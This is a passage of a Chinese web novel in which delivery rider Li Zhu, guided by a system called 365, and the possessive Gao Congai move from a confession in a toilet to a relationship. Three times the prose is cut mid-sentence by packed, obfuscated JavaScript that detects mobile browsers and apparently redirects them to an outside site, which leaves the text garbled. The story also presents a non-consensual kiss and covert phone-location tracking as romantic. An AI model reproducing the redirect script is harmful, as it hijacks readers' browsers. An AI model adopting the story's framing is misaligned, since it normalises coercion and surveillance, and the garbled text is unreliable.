郎峰:“迟到了!” 气势如虹的声音打破梦境,李株吓醒了。 这么热的天,他的手被握得很紧,腿倒是被放开了,就是没出息的主动搭到了男人身上。 李株尴尬的收腿坐起来,见高从霭闭着眼睛,扬手拍他。 “别装了,你肯定早醒了。” 高从霭睁开眼,对他笑了下。 高家的缺德父子俩死了之后,高从霭的气色比之前好不少,李株被这温和笑意闪了眼,不自在的点开手机,故作惊讶道:“要迟到了。” 郎峰:“……” 三个人的房间,他是最多余的那个。 李株手忙脚乱的冲出房间,撞上同样刚起床的庄恒川。 庄恒川打着哈欠,余光正好看到李株敞开的房门内,高从霭正在看他。 放下掩住嘴的手,隔着距离向对方点头示意。 高从霭的脸色泛着冷,随意勾了下唇就下了床,追上李株一起进卫生间。 庄恒川不是第一次感受到高从霭的敌意,他心思敏捷,很快就明白了。 待郎峰磨磨唧唧走出房间,他伸手把人拽去自己房间的小阳台。 “你老实交代,是不是跟高从霭说过不该说的话。” 郎峰挠了挠头,“没有啊。” “他看我的眼神不对。”庄恒川细品,“像看情敌。” “哦,想起来了。”郎峰面带歉意,心虚地说,“最近不是跟他熟了吗,上前天吧,他中午来给我哥送饭,顺带给了我一条好烟……” “你跟他说以前那些事了?” “他说像认识人我哥的其他朋友,有空可以一起吃饭。还问我哥以前谈过恋爱没有,我,我一直想抽那个烟,太激动了,没把住嘴。” 何止是没把住,在高从霭的高压视线下,他心里心里生出恐惧。 脑子一抽,该说的,不该说的,都说了。 庄恒川:“……” 实在不知道该说什么,只能比大拇指。 郎峰嘿嘿笑,“还以为你生气了呢,过去事就过去吧,走,上班去。” 他这里能过去,在高从霭那里未必能过去。 毕竟,徐晓哲可是每天和前暗恋对象同处一个屋檐。作为男人,庄恒川很懂高从霭的心理。 卫生间里,李株刷完牙,嘴巴上沾满了白色牙膏沫。 高从霭扯过毛巾想把他擦拭,被李株挡下,“我自己来。” “哦。” 李株擦完嘴,弯下腰掬起一捧清水洗脸。 全然不知高从霭正眼神幽深的盯着他。 那天从郎峰嘴里得知青年曾疯狂暗恋过庄恒川,他表面冷冷淡淡,私底下整颗心坠得难受。 郎峰说他哥喜欢一个人的时候,会变身偷窥狂,还会忍不住偷闻对方的枕头。 以上行为让他羡慕又嫉妒。 为什么青年从来没有对他这样过,他也想要。 只要一想到如果自己也能成为被暗恋的对象,青年会像当初暗恋庄恒川那样,无时无刻关注自己,偷窥自己,高从霭就兴奋得难以自控,指尖神经质的颤抖。 他们也能谈恋爱就好了。 可爱情是什么呢?高从霭在书籍和网络上寻找答案,得到一个简单粗暴的总结——欲|望。 他对青年有占有欲,有触碰欲。 最近还生出了饥渴欲。 高从霭回忆以前结交的“朋友”,他会希望对方只和他一个人玩儿,但从来没有想到和对方手牵手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478815|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,睡到一起,更别说嘴碰嘴了。 光是想想就恶心得想吐。 徐晓哲是独一无二的。 高从霭用手指碰过他的嘴唇,记得那是很温热柔软的,可惜没碰过里面湿软的舌头。 后来夜里入梦,高从霭身处混沌迷雾中,被遮挡的人模糊不清,但他清楚对方是谁。 醒来后身体难受,进卫生间待了一个小时。 长期吃药的缘故,他那方面很冷淡,高从俞从前嘲笑他不行,问他要不要去看医生。 这是他第一次自己尝试,结束后索然无味。 甚至不如虚无的梦。 —— 李株跟郎峰骑电瓶车赶着上班。 高从霭开车跟在后面,待人进了站点,便将车停在路边。估摸着外卖高峰期快过了,才去几公里外的酒店买好午餐送过来。 半下午,看到拎着纸袋走来的人,在站点休息的兄弟们纷纷吹起口哨,揶揄声不断。 饶是李株脸皮再厚,也有点臊得慌。 “不用每天都来,我跟郎峰买盒饭吃就行。” 郎峰投去一个难言的眼神,不是错觉,他哥说话的时候夹杂着一股娇羞。 他抱着脑袋用力揉搓,之前怎么就没发现呢! 不怪他哥以前总骂他是榆木脑袋。 蠢死了。 “哥,以后咱俩别轮流买饭了,你留在站点好好休息,我一个人去买。”郎峰说,暗戳戳地仔细观察李株的反应。 “好端端的又发什么疯!”李株皱眉。 郎峰怔了怔,突然“啊啊啊啊啊”。 “别抽风,吵得我耳朵疼。”李株起来就是一脚,郎峰扭身躲开,站稳后第一时间把人拉进卫生间。 高从霭皱眉跟上去,在外面敲门,“你们俩没事吧?” 臭烘烘的卫生间里,李株快被熏吐了,没来得及开喷,郎峰一句话差点噎死他。 “哥,你真的喜欢高从霭吗,真的想好了吗?他有精神疾病,万一哪天发疯可能会打你。” “你胡说什么!谁说我喜欢他了。”李株脸颊绯红,不知道是被卫生间臭味熏的,还是被兄弟气的。 门外,听觉敏锐的高从霭忽然安静。 凝神偷听里面的交谈。 “你骗傻子呢!”郎峰觉得他不够意思,喜欢就喜欢呗,有啥不好承认的。 他只是希望他哥能考虑好再做决定。 “你可不就是傻子吗。”顶着番茄脸的李株,冷下脸来毫无威慑力,“自己是单身狗就看谁都是一对。” 郎峰:“不是一对你脸红什么?” 以前怎么没发现他哥外强中干? “我热不行!”李株在郎峰探究的注视下,愈发绷不住。 热是真的,心里冒出来的燥热。 他抓住郎峰的胳膊,义正言辞,“高从霭是个直男,你可不能坏人家名声。” “他哪里直了,我看他比你还弯。” 想起高从霭的黏人程度,李株说不出话来了。 那天早上,被窝里,高从霭那玩意儿碰到他。 尴尬归尴尬,李株只当是男人清晨的正常反应,可万一高从霭是弯的……普通的生理现象其实是是针对某个人的独特反应呢? 又不能直接找当事人确认。 肯定是自己想太多,李株告诉自己,高从霭现在不只有颜,还有钱,存款多得三辈子花不完。 不可能喜欢上他。 “晓哲,郎峰,你们没事吧?”安静的门外又响起敲门声。 李株给郎峰使眼色,让他别乱说话。 郎峰不置可否,撇到一半的嘴僵住。 ——他有可能判断错误,但庄恒川比他聪明,应该不会瞎说。 难不成是他哥跟人谈对象,但不想公开?所以才极力否认。 这不是渣男吗! 郎峰气得吭哧吭哧,谴责地看着李株,“你这么做不地道。” 李株:“???” “我进来了。”高从霭放弃继续敲门,旋开门把。 他挤进来,反手关上门。 窄小的卫生间里,又多来一个来闻味儿的,李株想不通这是什么奇怪爱好。 “你凑进来干什么,走走走,出去了。” “你凑进来干什么,走走走,出去了。”这一句是郎峰的模仿,并配上怪模怪样的表情。 李株:“……” 最近骂人骂得太少了?逆子竟敢把他当哥的威严踩在脚下。 35.初吻没了 “我进来问问。”高从霭岿然不动立在原地。 话是对郎峰说的,眼睛看着李株。 “厕所臭成这样,有啥好闻,赶紧走。”李株不敢看男人的眼神,假装把“问”听成了“闻”,想蒙混过关。 郎峰被他哥牵着鼻子走,忍不住笑:“高哥,你这爱好挺独特。” 话音刚落,衣服后领子被人揪住。 一股力量将他半拎起来,被迫垫着脚往外走。 “哎哎哎。”郎峰发出惊异的声音,没搞清楚什么状况,人就被推到外面。 砰一声,卫生间门在他眼前合上。 卫生间本就不大,高从霭进来后就更小了,逼仄得让人发慌。 李株预感到他要说什么,慌里慌张地说:“那小子怎么出去了,我话没说完呢!” 说完挽起袖子要出门,一副要找郎峰算账的架势。 把耳朵贴在门上头顶的郎峰,比他哥还着急。 高从霭进门的时候脸色喜怒难辨,真怕他关门后把他哥给吃了。 想一想卫生间的环境,郎峰摇摇头,谁能在这种地方下嘴啊。 高家的事情结束后,他第一次见到高从霭就觉得害怕,这人给他的感觉和以前不一样,但又说不出具体。 这一次换郎峰在外面敲门了:“哥,你们没事吧?有事可以出来聊。” 高从霭手撑在门上,将李株困在其中。 李株:“你有话就说,动手干什么。” “不动手你就跑了。”高从霭说得义正言辞,好像李株才是更强势的那个。 李株想捏鼻子,“可是这里很臭。” “哦,你跟郎峰能待在卫生间说悄悄话,跟我就不行?” “……”行,你真行。 李株眼睛看向地板,放弃挣扎,“你想说什么就说吧。” “你的答案呢?”高从霭一抬手,李株就缩了下身子。 那只手落到李株额头,“怎么这么多汗。” 被抚过的额头泛着凉,心脏噗通直跳,李株说:“有、有点热。” “我之前让你帮我分析,我为什么变了。”高从霭低下头,鼻尖几乎触碰上李株的鼻尖,“你现在有答案了。” “没有没有。”他只是迟钝,不是真傻。 被好兄弟那么一总结,李株意识到了问题的严重性,但不能讲明。 他是要走的人,不能给高从霭留下幻想,不捅破窗户纸是最好的办法。 “你有。”高从霭又往前,头微微一偏,脸贴到了青年的脸上。 他的吐息滑进李株的耳朵,“徐晓哲,你别想糊弄我。” 李株恨不得缩成一团,低哑的声音如果砂砾磨擦过心脏。 高从霭直起身,一瞬不瞬地盯着人看,给他时间思考。 不管对方的答案是什么,他都会变成自己想要的那个。 时间在寂静中变得缓慢,李株乱蹦的心终于平静了,眼珠子却不敢往高从霭身上瞟,落在发黄的瓷砖墙壁上。 不知过了多久,响起一声叹息。 李株没有再逃避或者迂回,“你换个人喜欢吧,我们不可能。” “不换。”高从霭绷紧的身躯放松,将脑袋埋在李株的颈窝,“我只喜欢你。” 李株脸上发热,连眼皮烧得滚烫,“你就我一个朋友,往后多交几个就明白了,这就是单纯的兄弟情。” “那天早上你没感觉到吗?”高从霭抬起脸,嘴唇又黏到李株的耳边,“我对别人可不那样,光是想想就恶心。” “……”如果不是知道高从霭是普通人,还以为他会读心术呢。 李株微张着嘴,想不出该怎么帮他解释这句话。 “那、那不是正常生理反应吗!”李株干巴巴的反驳。 “我养胃。”高从霭坦言,“长期吃药造成的。” 李株彻底无语了。 众所周知,男人不能说自己不行。 更加不会把养胃挂在嘴边! 这是真爱啊。 高从霭又把脸埋下去,鼻尖顶着青年的锁骨用力呼吸,“我好喜欢你,喜欢到,想把你吃下去。” 李株快热到冒烟了,想骂他是不是有病,脑子里却只有自己巨大的心跳声。 而最让他丧气的是,自己不讨厌这份喜欢。 他不是直男吗?!!! 小学时期,因为同桌长得很可爱,李株曾写过一封不算情书的情书,告诉对方“你是个很可爱的女生,我想跟你做朋友”。 虽然后来一直没有真正谈过恋爱,但每每看到手牵手压马路的男女,都会露出羡慕的表情。 他坚定不移的相信,自己喜欢女生。 既然这样,他应该排斥高从霭才对。 “你不讨厌我说的话,对吗?”高从霭蛊惑,“我可以帮你测试,你是不是也喜欢男生。” “怎、怎么试?”李株俨然没察觉内心的纠结已被看穿。 高从霭:“你先闭上眼睛。” 李株犹豫着照做,颤抖的睫毛暴露了他的紧张与不安。 高从霭:“两条手臂贴到腿侧,别乱动。” 李株蹙眉,睁开一只眼看他,“你到底要做什么。” “说好了让我帮你。”高从霭语气谴责,“你要反悔?” “……”李株发现,自己的嘴巴一遇到高从霭就短一截。 他不甘不愿地伸直两条胳膊,紧贴在大腿两侧。 “记住,不准动,动了的人学狗叫。” “幼稚!”李株骂道。 四周忽然陷入寂静,一旁立柱洗手池的水龙头是坏的,有规律的水滴声像针一样,一下一下地刺着李株的神经。 前所未有的紧张逼近,他几乎忘了要呼吸。 察觉高从霭一直没有动作,也不说话,李株忍不住想睁眼,睫毛刚一动,嘴唇就被人用力封住。 李株整个人陷入空白,僵成了木乃伊。 很快,因为过于震惊而迟钝的感官恢复,负距离的接触变得清晰而深入,他甚至听到两人牙齿磕碰的声音。 “呜呜呜!”李株发出抗议。 高从霭先一步从两边摁住他的手,“别动,说好了让我帮你。” 气氛愈发暧昧滚烫。 高从霭始终睁着眼睛,青年的蹙眉、睫毛的抖动、迅速漫上脸颊的绯红,没有一点逃过他的眼睛。 如他所料的一样,没有任何厌恶。 巨大的狂喜涌上心头,高从霭闭上眼,继续亲他。 李株整个人快被吸干了,想要拼死反抗之际,高从霭终于舍得从他嘴上离开。 最后那一刻,还轻轻咬了下李株的下唇瓣。 李株羞恼到极点,握紧拳头砸上高从霭的左侧下颌。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492527|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >高从霭没有闪避,挨了一拳后,他蹲下来,两手捧着青年的拳头,仰头问:“疼不疼?” 李株:“……” 贱! 但是,又有种莫名的暗爽。 上哪儿找被揍后不但不生气,反而关心你手疼不疼的傻子? “不疼。”李株甩开他的手,转身打开门,撞上一脸傻气的郎峰。 郎峰竖起眉毛,“哥,那小子是不是欺负你了!” “关你屁事!”李株气哼哼的顶着大红脸跑了,骑上路边的电瓶车,直接回了合租屋。 一躺下,就跟站长打了个招呼,说自己下午不跑单。 他要静一静。 否则就要爆|炸啦。 李株用毛巾被蒙住脸,想起昨晚上高从霭也盖过,又立刻把被子丢开。 事情已经过去半个多小时,嘴唇依旧发胀微麻。 “啊啊啊啊啊。”反正家里只有一个人,他大声发泄。 发泄完又变成蔫巴巴的茄子,长叹口气,跟系统说:“统哥,我的初吻没了。” 365:“知道了。” “你好冷淡。”李株吐槽完开始假哭。 365被烦得不行,“我能怎么办,跟上级申请小世界时光倒流,你从头来一次?” 从头再来,照高从霭那个心眼,他怕还得被强吻。 “不了不了。”李株敬谢不敏,消受不起。 365:“事情已经这样了,别想太多。” “怎么能不想太多呢!”李株的脸又红了。 今天之前,他从来不知道自己脸皮这么薄。 高从霭那个厚脸皮,对他干完那种事,还好意思握他手继续占便宜! 呸。 365:“那你想怎么办。” “我能怎么办。”高从霭打不还手,骂不还口,李株只能自己消化。 而且他现在不能停止和系统说话,否则卫生间的画面就会浮现眼前。 365:“不如遵从内心?” 李株嘟囔:“我一个直男……” “你真的直吗?”系统表示怀疑,“我刚才测过你的多巴胺和心跳,很夸张。” 这是把李株的最后一层遮羞布给拽下来了。 “你无耻!窥探我的隐私!” “你当时心跳飙到一百五,我怕你猝死。”365正正经经地说,“你不要冤枉我,这是对宿主的关心。” 李株躺在床上不动了。 想着系统说的话。 半晌,他道:“可我不知道自己喜不喜欢他。” 李株没喜欢过别人,万一搞错了,那不是耽误人吗。 365:“他心理不正常你都能接受,这不是喜欢是什么。” 换了正常人,早就吓跑了。 而宿主在任务完成后,继续和对方做朋友,甚至容忍对方黏他、缠他。 这要不是喜欢,他就去吞病毒,自我了断。 “我想想。”李株一动不动的躺着,一脸严肃地回忆两人间的种种。 系统也不再出声。 宿主母胎单身这么多年,每次小世界任务中,他看男女主角的眼神别提多羡慕。 365没有人类的情感,但不妨碍他分析人类情感。 宿主的潜意识极度渴望有人能陪伴自己。 对高从霭的无限容忍就是证明。 36.确认 李株回忆两人间的相处。 问题很大。 他尝试着引导过高从霭对待友情的态度,可高从霭没做到,他也没说什么,而是选择默默接受。 在现实世界的日常工作中,因不需要再扮演炮灰和路人,李株绝不吃亏,不会为了方便别人委屈自己,有不满就直接说出。 面对高从霭时,他骨子里的这点强硬不见了。 为什么? 短短一个多小时里他情绪跌宕起伏,想着想着睡意袭来,直接睡着了。 客厅里传来说话声,李株掀开毛巾被,脑门上全是闷出的汗水。 一看时间,晚上八点了。 郎峰提前回家,做贼似的悄悄打开门,探头看见来。 恰好对上一双反光的眼,吓了一跳。 “偷偷摸摸,吓唬谁呢。”李株从床上下来,扯过纸巾擦汗。 郎峰嘿嘿嘿地走进来,“哥,你醒啦。” 他打开灯走近,努了努嘴,“给你发消息不回,打电话也不接。” 李株拿起手机一看,大部分是好兄弟打的,高从霭给他打过三个,还有两条信息。 第一条:【不接电话是被我吓到了吗?对不起】 第二条:【我是认真的,不打扰你了】 李株盯着两行字看了很久,郎峰伸长脖子想看,被挡住了。 “别瞎看。”李株推开他,握着手机往外走。 心里总想着高从霭的消息。 下午亲他那么强势,说的话也笃定,现在怎么又不自信起来了。 又没有做过激行为,喜欢一个人不用道歉。 365:“不顾你的意愿,突然亲你还不算过激?” “请你闭麦。”李株被说得脸上又开始发烫。 系统哪里都好,就是情商低。 这种时候,他不需要任何外部刺激,只要冷静思考。 不一会儿,庄恒川也回来了。 他看了眼李株,把手里的保温桶递给他,“他让我给你带的。” 不用问也知道这个“他”是谁。 庄恒川想起当时的情景,有点无语。高从霭明明不想跟他说话,偏偏郎峰又不在,那张脸别提有多臭。 可以肯定,那人有两幅面孔。 李株两手接过,“哦,谢谢。” 郎峰问:“里面装的什么?” 保温桶不小,拆开后发现里面有三层,第一层是压实的米饭,下面两层是菜。 一个是油焖大虾,一个是青椒肉丝。 两个人吃足够。 郎峰撑着下巴,“哥,这么多应该有我的份吧?” 李株:“吃呗,你哥我啥时候吃过独食。” 郎峰立马拿来碗筷,一起用餐。 别的不说,如果他哥跟高从霭在一起,他们的伙食标准蹭蹭上涨。没被投喂多久,他就长了四斤肉了。 见李株两眼发懵地走神,郎峰压低声音,问出了好奇整个下午的问题。 “你们倆下午在卫生间聊什么了?” 李株斜睨他,凶巴巴的呵斥,“吃饭都堵不住你的嘴?” 郎峰缩了缩脖子,小声嘀咕:“他下午离开的时候垂头丧气的,我以为你们俩闹掰了。” “真的?” “那是当然。”郎峰不可能帮高从霭助攻,只说自己看到的事实。 李株别扭几秒,“具体描述一下。” “就是脸色不好,背影孤孤单单的,我一个大老爷们儿看了都觉得心酸。”郎峰放下筷子,认真道,“爹妈都没了,亲戚朋友也不往来,他现在穷得自剩下钱了……挺可怜的。” “……”李株问,“你对他观感不是很一般吗?” 他一直都知道,郎峰害怕高从霭。 最近更甚。 郎峰挠了挠后脑勺,“两码子事。” 李株给他夹菜,示意他快点吃。 两人吃得心满意足,洗了饭后各自洗漱,准备回房间躺平玩手机。 大概凌晨一点,起来上厕所的李株忽然听到楼下有人在说话,好像是沈萍芳。 沈萍芳今晚生意好,提前卖完收摊,走到楼下看到一辆熟悉的黑色轿车。 高从霭倚在车边,不知道站了多久。 她上前:“小高,这么晚来是有什么事吗?” “没事,路过。”高从霭随意道。 沈萍芳纳闷,谁大半夜路过会干站在别人家楼下。 可时间这么晚了,她不好把人叫上楼。 想了想,沈萍芳问:“需不需要帮你叫徐晓哲?” “谢谢沈姐,不用,我马上走。”高从霭打开驾驶座坐进去。 李株闻声来到窗边的时候,恰好看到他驱车离开。 怔了怔,直到沈萍芳进家门才回过神走出去。 “是我吵醒你了?”沈萍芳抱歉道,“我下回小声点。” “刚好起来上厕所。”李株抿了抿唇,“沈姐,你刚刚在楼下碰到高从霭了吗,他来做什么?” “说是路过,可我觉得不像。”沈萍芳不知道他们之间的弯弯绕绕,“你快去上厕所吧,上完我好洗澡。” 李株走进卫生间放了水,回房间后怎么也睡不着。 翻来覆去,还是没忍住拿起手机,给高从霭去了一条消息。 小徐努力:【沈姐说在楼下看到你了】 高从霭那边秒回。 高从霭:【让你困扰了吗?】 高从霭是个很自我的人,不会在别人感受。 被他这么小心翼翼的对待,李株不高兴,有点心酸。 小徐努力:【你不睡觉跑来干嘛】 高从霭:【不干嘛,你睡吧,晚安,我开车】 李株:“……” 他不知道自己为什么要发消息,但知道高从霭口吐茶香。 两句话,第一句将自己设定成下位者。 第二句是卖惨,告诉李株他在楼下守了很久,这会儿还要大老远开车回市区。 很辛苦,也很痴情。 “太狡猾了。”李株跟系统吐槽,“统哥,这种人我玩不转。” 365:“恭喜宿主,对自己有清晰的认知。” 李株放下手机,翻了个身,侧对着的位置刚好是高从霭之前趟过的地方。 现在知道答案了。 为什么会容忍和包容他呢?因为不忍心。 原主第一次见高从霭的记忆不算深刻,李株只能记起他站在窗边,五官有些模糊。 后来在高家见面,惊吓之余,对高从霭第一个念头是这个人太瘦了。 他没有好好吃饭吗。 要不然照他目前人设的脾气,早就在高从霭无理要求喂饭的时候,直接扣上去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501013|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李株不信自己会因为心疼一个大男人弯成盘香,闭上眼睛回忆在卫生间接吻那段。 最好能扒出一点能反驳自己的细节。 高从霭那人看着冷,嘴唇却是热的,而且很软,又很强势。 吮他的时候,令人有种要被吃掉的错觉。 或许是因为太安静,他当时还听到了接吻的水声…… 李株忽然夹腿。 直愣愣的盯着天花板,完了,感觉上来了。 他难以置信地盯着天花板,没去碰自己,反思为什么这么色欲熏心,不敢想实战会怎么样。 “统哥,如果我和他谈恋爱到一半,走了怎么办?” 异性恋不会对男人起反应,确定了性向以后,这是李株最关心的问题。 关系更进一步,高从霭的黏人程度只会加倍。 如果他一声不响的挂了,男人一定会很伤心。 不等系统开口,李株提议:“我陪他到死的那天好不好?” 虽然舍不得,他还是大方的让出一半利益,“你跟上面打个申请,我可以少要一半的福利。” 365:“可以。” 李株以为要多费一番口舌,“这么痛快!” 系统叹气,“这几年不管同性还是异性,结婚率一直在跌,单位接到上级通知,必须提高本单位未婚人员的结婚率。像你这样的单身二十二年的,在小世界谈一场恋爱算积累经验,好事。” 李株:“……” 以为系统突然有人性了,没想到是为了单位的KPI。 李株放心了,开心地在床上打个滚。 忍不住又想起那个吻。 李株浑身发热,悄悄看了眼对面床的人,光着脚跑去卫生间。 第二天起来,浑身软绵绵的。 一睁眼,郎峰正盘腿坐在对面床上,一脸严肃的看他。 李株被看到心虚,“有事?” “你是不是肚子不舒服?”郎峰担忧地说,“大半夜去卫生间蹲了那么久。” 李株藏在毛巾被里的脚指头蜷起,含糊道:“昨晚吃多了,肚子疼。” 郎峰:“要去医院吗?” “不用不用。”李株摆摆手,又说,“今天我不去了,待会儿给站长请个假。” “哥,你最近越来越懒了。”少去一天就少赚一天的钱,这种事他哥以前绝不会做。 李株下床的动作一顿,走到郎峰面前教育,“赚钱重要,生活和身体健康更重要。你哥我想通了,以后不那么拼了。” 反正任务结束,人设限制会逐渐放开。 他还要在这个世界待很久,每天那么暴躁地死命赚钱,多累啊。 郎峰张了张嘴,其实他早就想说了。 像他哥以前那样不要命的赚钱,身体迟早要垮。 李株一手按在郎峰肩上,“等时机到了,咱俩换个职业。” 送外卖消耗身体,会给未来留下不少健康隐患,而且年纪越大精力就越跟不上,不可能送一辈子。 郎峰:“不送外卖我能干什么?我啥也不会。” 两人高中毕业进入了社会,没有一技之长,送外卖是兄弟俩能想到的,没有门槛的工作里相对赚钱的行业。 李株:“不急,咱们慢慢想。” 他可没忘刚传来时答应过好兄弟,总有一天要带他吃香喝辣。 37.确认 不用上班的日子最爽了,家里的人陆续出门,他趴在床上想接下来该怎么办。 在这个世界不用忍,他不需要藏起心思搞暗恋那一套。 何况高从霭也不需要。 直接去表白吗,李株抹不开面。 昨天高从霭气势汹汹表白的时候,他丢下人就跑,现在又腆着脸凑上去。 至少先做做心理建设。 李株跑去卫生间,看着镜子里的自己:“高从霭,我喜欢你。” 七个字说完,镜子里的脸红成了猴屁股。 李株哀叫一声,“不然我发消息吧。” 365:“怂包。” 李株:“……” 他挠了挠脸,“算了,走一步看一步。” 李株回到房间,忽然想起还没有通知高从霭自己请假,以免他去站点送饭扑空,拿起手机发了条消息。 那头回得很快。 高从霭:【为什么请假?身体不舒服?】 一个两个都以为他身体出问题了。 实际上大差不大差。 原主看似健壮的身体,早就被超负荷的体力劳动掏空了,穿来后系统对上体力、耐力做了改造,独独忘了帮他调整生殖系统。 昨晚就一次而已,早上起来双腿发软。 李株的男性尊严遭到了现实的重锤,悲愤回复:【我好得很!】 高从霭退出通话界面,看着静止不动的小红点,指尖在手机侧面点了点,给郎峰打电话。 郎峰正在骑车,他点开蓝牙耳机接通。 听到高从霭的声音,他把车听到路边,“你怎么会给我打电话。” 双方交换联络方式这么久,这是对方第一次联系自己。 “晓哲怎么了?”高从霭开门见山。 郎峰:“没怎么啊。” “那为什么没上班。” “说是不想那么拼……”想起他哥早上起来没精打采的样子,郎峰一顿。 他哥向来不注重身体健康,实在难受才会请假半天休息,今天怕是难受到了极致,所以才请一整天。 “不对,他早上起床的时候眼都睁不开,听声音也有点虚,肯定有哪里不舒服。”郎峰不淡定了,“他肯定是不想我担心才没说。” “我过去看看。”高从霭挂了电话,驱车出门。 他把手机放在支架上,时而抽空看一眼李株的位置。 自始至终没有移动过。 高档轿车出现在城边村的频率太低,只看到车头就知道是谁来了。 高从霭刚下车,认识他的小卖部老板就热情的打招呼。 “又来找小徐啊。” “嗯。”高从霭没有多言,三步并作两步上楼。 听到敲门声的时候,李株正在网上搜索“性别男,该如何与男朋友相处”。 透过猫眼看到高从霭的脸,心头咯噔一声。 他怎么来了! 李株有点慌,而且凌晨睡不着还想着他的脸那啥了……这门一旦开了,他能尴尬到想钻地缝。 还好刚才没发出声音。 他蹑手蹑脚地往沙发走去,悄悄坐下。 高从霭又低头看了眼小红点,青年没有出门,敲门声这么大不可能听不到。 担心里面的人出事,他敲门的动作变成了砸门。 “晓哲,晓哲你在家吗?能听到我说话吗?” 连续几次喊不开门,高从霭耐心渐失,想叫人来开锁。 回到猫眼前偷看高从霭准备打电话,李株吓得不轻,以为他要报警,急忙打开门喊:“别报警,我在家,我没事。” 看他完好无损,神采奕奕,高从霭蹙眉收起手机。 李株被他看得浑身不自在,心虚看向地板。 “在家为什么不开门。” 是有些严厉的语气。 李株像个犯错的小学生,低着头快速编了个谎,“戴耳机没听到。” 高从霭将人从头到脚打量一遍,进门。 李株侧身让路,紧张地舔了舔唇。 高从霭不止听觉好,视力也好,锐利的眼睛迅速扫了一圈,就发现青年在撒谎。 从这里能看到青年房间的书桌,耳机仓正好在充电。 高从霭心里不高兴,他不喜欢被隐瞒,脸上却没露半点不悦。 他放低姿态,两手搭在膝盖上,“昨天的事我很抱歉,没经过你的同意,如果你很生气,可以亲回来。” “???”李株佩服他的脑回路。 日常处事与常人不同就罢了,谈恋爱也这么独特。 “你想得美!”李株倒了杯水端过来,放到高从霭面前,“我没生气。” 想通了就没必要藏着掖着,李株道:“就是太突然,一时没反应过来。” 高从霭顺杆往上爬,“反应过来会怎么样?是回应我,还是推开我?” 这问题就是把人架在火上烤。 李株窘迫道:“事情都过去了,我哪知道那么多。” 高从霭微眯起眼,发现青年的脸已经开始泛出粉色,他突然起身,李株下意识后退。 仰起头,有些惊恐慌乱。 “你干嘛。” “不干嘛,喝水。”高从霭拿起那杯水,仰起头吞咽。 看着他攒动的喉结,李株莫名想起了“性感”二字,脸上的热度又上来了,他及时住脑,坐到沙发上。 高从霭放下杯子,重新坐下来,与青年相隔两个拳头的距离。 气氛怪异,李株拿起遥控器摁开,干巴巴地说:“看电视吧。” “嗯。”高从霭闲适地往后靠在沙发上,两腿交叠。 唇角微微勾起。 心情很不错。 青年向来大大咧咧,像这样动不动就脸红,行为拘谨扭捏,还总是偷看他……说明什么不言而喻。 搭在膝盖上的修长指尖,慢条斯理地敲打着。 高从霭伸手拿过遥控器,随意按了来两下,无聊的广告变成了狗血言情剧。 女主角哭着喊“你根本不爱我!”,男主角则像发了疯一样两手抱头,撕心裂肺的呐喊“我爱你我爱你我爱你到死”。 李株:“……” 男女主角相互对吼,倾盆大雨把两人淋成了落汤鸡。 李株看得正无语,突然发现两人抱在一起了! 男主角死死包住不撒手,女主拼命挣扎,又哭又喊。 然后,男主用嘴巴堵住了女主的嘴。 甭管剧情有没有逻辑,两人的亲吻戏演得相当不错,李株挪了挪身体,别开眼。 高从霭问他:“怎么不看了?” “不好看。”李株嘴硬。 高从霭:“我觉得挺好看的。” 李株起身:“那你看吧,我去补觉。” “别走。”高从霭钳住他的手腕,“你在躲我。” “你想多了。” “那为什么不敢看我?”高从霭起身,比李株高了半个头。 李株深吸一口气,抬眸看去,男人的眼睛颜色黝黑,清晰倒映着他的脸,“谁说我不敢了。” 说完想抽自己一巴掌。 语气不够强硬,听上去反而像撒娇。 认清自己的心意后,他都不像自己了。 这样下去只会被高从霭牵着鼻子走。 李株暗自咬牙,突然两手抓住高从霭的衣服领子,“你不就是想知道,我是不是喜欢你吗?” 他一手绕到高从霭的后脑勺,用力扣紧往下按。 同时仰起脸,用力亲上去。 他没有高从霭的天赋异禀,无措地维持嘴唇相贴的动作,忘了下一步该怎么做。 高从霭轻笑一声,舌尖在青年唇上一扫而过。 李株领会了教学,伸出舌尖。高从霭的呼吸立刻变得粗沉,听得人面红耳赤。 吻不知持续了多久,亲完后,气喘吁吁的李株挂在男人身上,死要面子地说:“现在知道答案了吗?” 高从霭:“知道了,你很爱我。” “谁爱了你!”李株站直,“我那是喜欢,别给自己脸上贴金。” “嗯,那我很爱你。”高从霭不给人继续说话的机会,伸手把人箍在怀里,下巴抵住青年头顶,把人密实的包裹在怀里。 李株努力压住嘴角,忍住没笑。 心里暖洋洋的。 他咬了咬下唇,仰头在高从霭下巴亲了一口。 嘻嘻,谈恋爱真快乐。 